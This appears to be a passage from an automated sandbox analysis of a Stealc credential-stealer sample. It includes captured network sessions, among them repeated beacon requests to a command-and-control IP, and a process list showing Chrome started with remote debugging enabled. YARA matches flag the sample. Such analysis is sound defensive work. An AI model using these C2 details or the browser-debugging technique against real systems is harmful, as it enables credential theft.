2024-12-02 10:23:38 UTC	280	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 45 72 72 6f 72 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 41 6e 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 20 77 68 69 6c 65 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 33 30 26 23 34 36 3b 32 62 63 31 63 39 31 37 26 23 34 36 3b 31 37 33 33 31 33 35 30 31 37 26 23 34 36 3b 34 38 65 61 33 30 32 36 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 33 30 26 23 34 36 3b 32 62 63 31 63 39 31 37 26 23 34 36 3b 31 37 33 33 31 33 35 30 31 37 26 23 34 36 3b 34 38 65 Data Ascii: <HTML><HEAD><TITLE>Error</TITLE></HEAD><BODY>An error occurred while processing your request.<p>Reference #30.2bc1c917.1733135017.48ea3026<P>https://errors.edgesuite.net/30.2bc1c917.1733135017.48e

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.11.20	50042	23.209.84.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:23:37 UTC	413	OUT	OPTIONS /api/report?cat=mdocs HTTP/1.1 Host: mdec.nelreports.net Connection: keep-alive Origin: https://learn.microsoft.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2024-12-02 10:23:38 UTC	441	IN	HTTP/1.1 503 Service Unavailable Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 280 Expires: Mon, 02 Dec 2024 10:23:38 GMT Date: Mon, 02 Dec 2024 10:23:38 GMT Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.2bc1c917.1733135017.48ea307c Access-Control-Allow-Headers: * Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *
2024-12-02 10:23:38 UTC	280	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 45 72 72 6f 72 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 41 6e 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 20 77 68 69 6c 65 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 33 30 26 23 34 36 3b 32 62 63 31 63 39 31 37 26 23 34 36 3b 31 37 33 33 31 33 35 30 31 37 26 23 34 36 3b 34 38 65 61 33 30 37 63 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 33 30 26 23 34 36 3b 32 62 63 31 63 39 31 37 26 23 34 36 3b 31 37 33 33 31 33 35 30 31 37 26 23 34 36 3b 34 38 65 Data Ascii: <HTML><HEAD><TITLE>Error</TITLE></HEAD><BODY>An error occurred while processing your request.<p>Reference #30.2bc1c917.1733135017.48ea307c<P>https://errors.edgesuite.net/30.2bc1c917.1733135017.48e

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.11.20	50048	13.107.21.237	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:23:48 UTC	3199	OUT	GET /client/config?cc=GB&setlang=en-US HTTP/1.1 X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate Accept-Encoding: gzip, deflate X-Device-MachineId: {9A18632D-0E0D-4CA4-9A0A-9577C1FFEAFA} X-UserAgeClass: Unknown X-BM-Market: GB X-BM-DateFormat: dd/MM/yyyy X-Device-OSSKU: 48 X-BM-DTZ: -300 X-DeviceID: 0100A45C090094CA X-BM-WindowsFlights: RS:B4BC,FX:117B9872,FX:119E26AD,FX:11A8C293,FX:11A8C2FE,FX:11C0E96C,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:11F1992A,FX:11F4161E,FX:11F41B68,FX:11FB0F2F,FX:1201B330,FX:1202B7FC,FX:120BB68E,FX:121A20E1,FX:121BF15F,FX:121E5EC8,FX:122B3A5C,FX:122D8E86,FX:123031A3,FX:1231B88B,FX:123371B1,FX:1233C945,FX:123D7C31,FX:1240013C,FX:1240931B,FX:1246E4A3,FX:1248306D,FX:124B38D0,FX:1250080B,FX:125A7FDA,FX:1264FA75,FX:126DBC22,FX:127159BE,FX:12769734,FX:127C935B,FX:127DC03A,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:12CDE644,FX:12D1574C,FX:12D281C4,FX:12E8312D,FX:12EC0B54,FX:12F0AC91,FX:12FF5D3C,FX:13143E2F,FX:13214552,FX:13283A3B,FX:133A07C7,FX:133BFFE3,FX:13404069,FX:134128A5,FX:1342B470 X-Search-TimeZone: Bias=300; StandardBias=0; TimeZoneKeyName=Eastern Standard Time X-BM-Theme: 000000;0078d7 X-Agent-DeviceId: 0100A45C090094CA X-Search-RPSToken: t%3DEwDoAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAUbt4i%2B3XolCIGY7ubsHgh1o7cuDEPolV9QaNfcx%2BCS9ygNFjTN6UsSwzEe2kT3UIJ6JiFtugvZNtP1WnMshcob/lBuJYxcTsY26fwlNbTrYkYs9YrnLddzWUbXai3N0ffvfRTFWu9fRLubTNC9XGNn8/rYoDg4hJS%2Be2RMmC9nj1F3CQWLUHecHbeVVLmP4hPObAEqSdwmO6rzwljhxIs6DIA5qePkCemAtq92YRvH4x7kcRd2qqk3GprMgYfxrOZ1mwzuXw6UoQBgazeTQlzOm54OGwdUF%2Byu5TvOsvHcWwOxCI%2Bl7%2BfPWFNl4okUhbKlJYtY3mPQ9lk3QgGzIyboQZgAAEKYJCaVLtSpgJ8Vhl5veZQ2wAc99K/2u5Rk9CBuuwLv3PX6Uk24XteeIz978lWwpBWUOeeia7OG6NpESjagDAJzssoNvCenRTSsHIukaKDOIXrK8Uu8/zu0ecdkKFPRc82FUQUJAquVvsDRdd5kflE4O/rq8tjllvnx7L4p5YVaVQygoKBtsqRGdLDG/yI4y0wNedlTOBawvrtcwIMuw1m8vVNoFQtypTFZbWwjQy8TbdS147BfrUQERrc2JwVwymcmpfZ61aC0lQgdjRw7kLJL7pDJhCiUETpEX7vhTtIzH%2BqPiP09sHJspyACdBV/2kJrA8fyr0JBBD%2BRZRagcp4MJVoWLAm%2BtS0DBd8ISWkZK0H00GweXuq5IV2Plgl6DA3tKaxFr7Zw32EJALVmIpH2SWclfVFHBqOjbloGtDpodrYv58CvK1eat/CKKOwC9BcW6Y6VJjYflan/BDgbcchEnE%2B94dXvwqj2IBBZ/FEBfzltkj5pUXRaUTjJzUFZKNAzmrdyeM413lYizZXcrJ8/2bbWzOuEEAbaLT3VEcwalDMj1tetHmAI6JnjG24D02Rt3IO4ZrhuCZwwk0 [TRUNCATED] X-BM-CBT: 1733135027 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.2.19041; 10.0.0.0.19042.1165) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042 X-Device-isOptin: false Accept-language: en-US, en X-Device-Touch: false X-Device-ClientSession: 8132DE9B807247ACB5C688208C68AF5E X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI Host: www.bing.com Connection: Keep-Alive Cookie: SRCHUID=V=2&GUID=0051B20720A34FFCA45E0D908944BC77&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20241118; SRCHHPGUSR=IPMH=d7475077&IPMID=1733113089087&SRCHLANG=en&LUT=1731920866542&HV=1731925883; ANON=A=EE2378F10C1E3342F34B446BFFFFFFFF; CortanaAppUID=D963C9CA6BE983450A056C5FE916A127; MUID=4862B94A085C4B6D98B0366B9CAD8271; MUIDB=4862B94A085C4B6D98B0366B9CAD8271
2024-12-02 10:23:49 UTC	1331	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 2210 Content-Type: application/json; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Set-Cookie: _EDGE_S=SID=1B3E7BE58C076BF006D36EAC8D956A53&mkt=en-gb&ui=en-us; domain=.bing.com; path=/; HttpOnly Set-Cookie: MUIDB=4862B94A085C4B6D98B0366B9CAD8271; expires=Sat, 27-Dec-2025 10:23:49 GMT; path=/; HttpOnly Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/; secure; SameSite=None Set-Cookie: _SS=SID=1B3E7BE58C076BF006D36EAC8D956A53; domain=.bing.com; path=/; secure; SameSite=None X-EventID: 674d8ab542e04c82adb93ae08f76eac9 UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-XSS-Protection: 0 X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: FEFE414F5CE140FE9465E58F1487DF31 Ref B: LAX311000111023 Ref C: 2024-12-02T10:23:49Z Date: Mon, 02 Dec 2024 10:23:48 GMT Connection: close
2024-12-02 10:23:49 UTC	2210	IN	Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 31 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 46 65 61 74 75 72 65 43 6f 6e 66 69 67 22 3a 7b 22 53 65 61 72 63 68 42 6f 78 49 62 65 61 6d 50 6f 69 6e 74 65 72 4f 6e 48 6f 76 65 72 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 68 6f 77 53 65 61 72 63 68 47 6c 79 70 68 4c 65 66 74 4f 66 53 65 61 72 63 68 42 6f 78 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 6f 78 55 73 65 53 65 61 72 63 68 49 63 6f 6e 41 74 52 65 73 74 22 3a 7b 22 76 61 6c 75 65 22 3a 66 61 6c 73 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 75 74 74 6f 6e 55 73 65 53 65 61 72 63 68 49 63 6f 6e 22 3a 7b 22 76 61 6c 75 65 Data Ascii: {"version":1,"config":{"FeatureConfig":{"SearchBoxIbeamPointerOnHover":{"value":true,"feature":""},"ShowSearchGlyphLeftOfSearchBox":{"value":true,"feature":""},"SearchBoxUseSearchIconAtRest":{"value":false,"feature":""},"SearchButtonUseSearchIcon":{"value

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.11.20	50078	23.209.84.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:24:37 UTC	413	OUT	OPTIONS /api/report?cat=mdocs HTTP/1.1 Host: mdec.nelreports.net Connection: keep-alive Origin: https://learn.microsoft.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2024-12-02 10:24:38 UTC	441	IN	HTTP/1.1 503 Service Unavailable Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 280 Expires: Mon, 02 Dec 2024 10:24:37 GMT Date: Mon, 02 Dec 2024 10:24:37 GMT Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.2bc1c917.1733135077.48eaab88 Access-Control-Allow-Headers: * Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *
2024-12-02 10:24:38 UTC	280	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 45 72 72 6f 72 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 41 6e 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 20 77 68 69 6c 65 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 33 30 26 23 34 36 3b 32 62 63 31 63 39 31 37 26 23 34 36 3b 31 37 33 33 31 33 35 30 37 37 26 23 34 36 3b 34 38 65 61 61 62 38 38 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 33 30 26 23 34 36 3b 32 62 63 31 63 39 31 37 26 23 34 36 3b 31 37 33 33 31 33 35 30 37 37 26 23 34 36 3b 34 38 65 Data Ascii: <HTML><HEAD><TITLE>Error</TITLE></HEAD><BODY>An error occurred while processing your request.<p>Reference #30.2bc1c917.1733135077.48eaab88<P>https://errors.edgesuite.net/30.2bc1c917.1733135077.48e

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.11.20	50082	188.119.66.185	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:24:45 UTC	283	OUT	GET /ai/?key=8f3f2b3ab144463b761ae3a5231e72eee7c4db7e40b82a8dcd6c946851e30088893250aa158105633775b0e650f7ba1e9c95b1c92975ccf55bc592f95a818ece02a1b7e2984c57cad7021ddd32271cd3328e HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US) Host: 188.119.66.185
2024-12-02 10:24:45 UTC	200	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:24:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33
2024-12-02 10:24:45 UTC	24	IN	Data Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a Data Ascii: e8b723663ec13250

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.11.20	50108	23.209.84.28	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:25:37 UTC	413	OUT	OPTIONS /api/report?cat=mdocs HTTP/1.1 Host: mdec.nelreports.net Connection: keep-alive Origin: https://learn.microsoft.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2024-12-02 10:25:38 UTC	440	IN	HTTP/1.1 503 Service Unavailable Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 278 Expires: Mon, 02 Dec 2024 10:25:38 GMT Date: Mon, 02 Dec 2024 10:25:38 GMT Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.1cc1c917.1733135137.20cdc63 Access-Control-Allow-Headers: * Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *
2024-12-02 10:25:38 UTC	278	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 45 72 72 6f 72 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 41 6e 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 20 77 68 69 6c 65 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 33 30 26 23 34 36 3b 31 63 63 31 63 39 31 37 26 23 34 36 3b 31 37 33 33 31 33 35 31 33 37 26 23 34 36 3b 32 30 63 64 63 36 33 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 33 30 26 23 34 36 3b 31 63 63 31 63 39 31 37 26 23 34 36 3b 31 37 33 33 31 33 35 31 33 37 26 23 34 36 3b 32 30 63 64 Data Ascii: <HTML><HEAD><TITLE>Error</TITLE></HEAD><BODY>An error occurred while processing your request.<p>Reference #30.1cc1c917.1733135137.20cdc63<P>https://errors.edgesuite.net/30.1cc1c917.1733135137.20cd

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.11.20	50113	188.119.66.185	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:25:46 UTC	283	OUT	GET /ai/?key=8f3f2b3ab144463b761ae3a5231e72eee7c4db7e40b82a8dcd6c946851e30088893250aa158105633775b0e650f7ba1e9c95b1c92975ccf55bc592f95a818ece02a1b7e2984c57cad7021ddd32271cd3328e HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US) Host: 188.119.66.185
2024-12-02 10:25:47 UTC	200	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:25:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33
2024-12-02 10:25:47 UTC	24	IN	Data Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a Data Ascii: e8b723663ec13250

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.11.20	50144	23.209.84.28	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:26:37 UTC	413	OUT	OPTIONS /api/report?cat=mdocs HTTP/1.1 Host: mdec.nelreports.net Connection: keep-alive Origin: https://learn.microsoft.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2024-12-02 10:26:38 UTC	440	IN	HTTP/1.1 503 Service Unavailable Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 278 Expires: Mon, 02 Dec 2024 10:26:38 GMT Date: Mon, 02 Dec 2024 10:26:38 GMT Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.1cc1c917.1733135197.20d3443 Access-Control-Allow-Headers: * Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *
2024-12-02 10:26:38 UTC	278	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 45 72 72 6f 72 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 41 6e 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 20 77 68 69 6c 65 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 33 30 26 23 34 36 3b 31 63 63 31 63 39 31 37 26 23 34 36 3b 31 37 33 33 31 33 35 31 39 37 26 23 34 36 3b 32 30 64 33 34 34 33 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 33 30 26 23 34 36 3b 31 63 63 31 63 39 31 37 26 23 34 36 3b 31 37 33 33 31 33 35 31 39 37 26 23 34 36 3b 32 30 64 33 Data Ascii: <HTML><HEAD><TITLE>Error</TITLE></HEAD><BODY>An error occurred while processing your request.<p>Reference #30.1cc1c917.1733135197.20d3443<P>https://errors.edgesuite.net/30.1cc1c917.1733135197.20d3

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.11.20	50150	188.119.66.185	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:26:47 UTC	283	OUT	GET /ai/?key=8f3f2b3ab144463b761ae3a5231e72eee7c4db7e40b82a8dcd6c946851e30088893250aa158105633775b0e650f7ba1e9c95b1c92975ccf55bc592f95a818ece02a1b7e2984c57cad7021ddd32271cd3328e HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US) Host: 188.119.66.185
2024-12-02 10:26:48 UTC	200	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:26:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33
2024-12-02 10:26:48 UTC	24	IN	Data Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a Data Ascii: e8b723663ec13250

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.11.20	50180	188.119.66.185	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:27:49 UTC	283	OUT	GET /ai/?key=8f3f2b3ab144463b761ae3a5231e72eee7c4db7e40b82a8dcd6c946851e30088893250aa158105633775b0e650f7ba1e9c95b1c92975ccf55bc592f95a818ece02a1b7e2984c57cad7021ddd32271cd3328e HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US) Host: 188.119.66.185
2024-12-02 10:27:50 UTC	200	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:27:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33
2024-12-02 10:27:50 UTC	24	IN	Data Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a Data Ascii: e8b723663ec13250

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.11.20	50210	188.119.66.185	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:28:50 UTC	283	OUT	GET /ai/?key=8f3f2b3ab144463b761ae3a5231e72eee7c4db7e40b82a8dcd6c946851e30088893250aa158105633775b0e650f7ba1e9c95b1c92975ccf55bc592f95a818ece02a1b7e2984c57cad7021ddd32271cd3328e HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US) Host: 188.119.66.185
2024-12-02 10:28:51 UTC	200	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:28:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33
2024-12-02 10:28:51 UTC	24	IN	Data Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a Data Ascii: e8b723663ec13250

Target ID:	0
Start time:	05:20:01
Start date:	02/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xf50000
File size:	1'760'256 bytes
MD5 hash:	BA8F4E56BC87DD31C14F261FCB6FC787
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1811763144.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1812862722.000000000101C000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1812862722.0000000000F51000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1283432588.00000000052F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:20:04
Start date:	02/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff628d30000
File size:	57'360 bytes
MD5 hash:	F586835082F632DC8D9404D83BC16316
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:20:04
Start date:	02/12/2024
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff77c650000
File size:	329'504 bytes
MD5 hash:	3BA1A18A0DC30A0545E7765CB97D8E63
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	05:20:04
Start date:	02/12/2024
Path:	C:\Windows\System32\sppsvc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sppsvc.exe
Imagebase:	0x7ff631570000
File size:	4'629'328 bytes
MD5 hash:	30C7EF47B57367CC546173BB4BB2BB04
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:20:04
Start date:	02/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Imagebase:	0x7ff628d30000
File size:	57'360 bytes
MD5 hash:	F586835082F632DC8D9404D83BC16316
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	05:20:04
Start date:	02/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Imagebase:	0x7ff628d30000
File size:	57'360 bytes
MD5 hash:	F586835082F632DC8D9404D83BC16316
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	05:20:05
Start date:	02/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Imagebase:	0x7ff628d30000
File size:	57'360 bytes
MD5 hash:	F586835082F632DC8D9404D83BC16316
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	05:20:08
Start date:	02/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff66ffc0000
File size:	2'742'376 bytes
MD5 hash:	BB7C48CDDDE076E7EB44022520F40F77
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	05:20:09
Start date:	02/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-subproc-heap-profiling --field-trial-handle=2668,i,8110381465614932930,16096888236174781569,262144 --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=2684 /prefetch:3
Imagebase:	0x7ff66ffc0000
